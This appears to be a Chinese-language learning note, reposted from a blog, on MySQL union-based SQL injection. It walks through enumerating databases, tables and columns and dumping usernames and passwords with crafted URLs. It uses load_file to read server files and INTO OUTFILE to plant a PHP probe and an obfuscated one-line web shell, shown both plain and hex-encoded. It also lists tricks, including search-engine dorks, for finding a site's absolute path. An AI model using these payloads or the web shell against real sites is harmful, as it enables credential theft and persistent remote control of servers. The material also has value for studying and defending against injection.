2016/12/15渗透学习总结

Mysql注入不属于暴力猜解,含有逻辑性

mysql数据库结构

Mysql数据库

coolbreeze  库名

     liuyan  表名

          id、ip  列名

               192.168.0.1  数据

Mysql5.0以上注入获取帐号密码

1.获取当前使用的数据库名

http://7f52.com/test.php?id=5 UNION SELECT database(),2,3,4,5

2.获取数据库名下的表名

http://7f52.com/test.php?id=5 UNION SELECT table_name,2,3,4,5 from

information_schema.tables where table_schema=0x636F6F6C627265657A65

3.获取对应表名下的列名

http://7f52.com/test.php?id=5 UNION SELECT column_name,2,3,4,5 from

information_schema.columns where table_name=0x75736572

4.获取内容数据

http://7f52.com/test.php?id=5 UNION SELECT username,password,3,4,5 from user

查询函数:

Database():数据库名 coolbreeze

User():数据库用户 root

Version():数据库版本 5.5.40

@@version_compile_os:操作系统 win32

information_schema.tables:information_schema数据库下的tables表名(存储表名

信息的表)

table_schema:库名

Table_name:表名

Column_name:列名

information_schema.columns:information_schema数据库下的columns列名(存储列

名信息的表)

Information_schema数据库:mysql5.0以上版本自带的数据库,它是存储mysql数据库

下的所有数据库下的表名及列名信息的数据库。

                                   0x636F6F6C627265657A65这些东西为表名/列名的十六进制

读取内容

select load_file( '盘符:/目录/文件名' ),2,3,4,5 

写入内容

select ('要写入的内容'),2,3,4,5 into outfile '盘符:/目录/文件名'

例如

写一句话木马:

http://7f52.com/test.php?id=4 union select ('<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>'),2,3,4,5 into outfile'D:/WWW/qfos.php'

也可用十六进制写入一句话

http://7f52.com/test.php?id=4 union select 0x3C3F706870202461203D207374725F7265706C61636528782C22222C226178737878737865787278787422293B246128245F504F53545B22737A225D293B203F3E,2,3,4,5 into outfile'D:/WWW/tz4.php'

0x3C3F706870202461203D207374725F7265706C61636528782C22222C226178737878737865787278787422293B246128245F504F53545B22737A225D293B203F3E=<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>

写PHP探针

http://7f52.com/test.php?id=4 union select ('<?php phpinfo() ?>'),2,3,4,5 into outfile'D:/WWW/tz.php'

获取网站绝对路径的方法:

1、网站报错(故意制造报错链接)

2、搜索引擎(网站出现错误后可能被搜索引擎抓取并生成快照,我们可以通过快照来发现绝对路径site:url warning或者inurl:url warning)

3、遗留文件(很多网站在搭建后遗留以前的网站探针文件inurl:phpinfo.php)

4、漏洞报错(如果知道对方网站程序,可以找一些相关爆路径的漏洞来利用,进而获取绝对路径)

5、读取搭建平台配置文件(例如IIS配置文件,记录了建站记录和网站绝对路径)

一定要注意路径问题、符号问题、编码问题!!!! 

符号:文件夹分隔符用\或者/  不可//或者

原文地址:https://www.cnblogs.com/cbreeze/p/6189066.html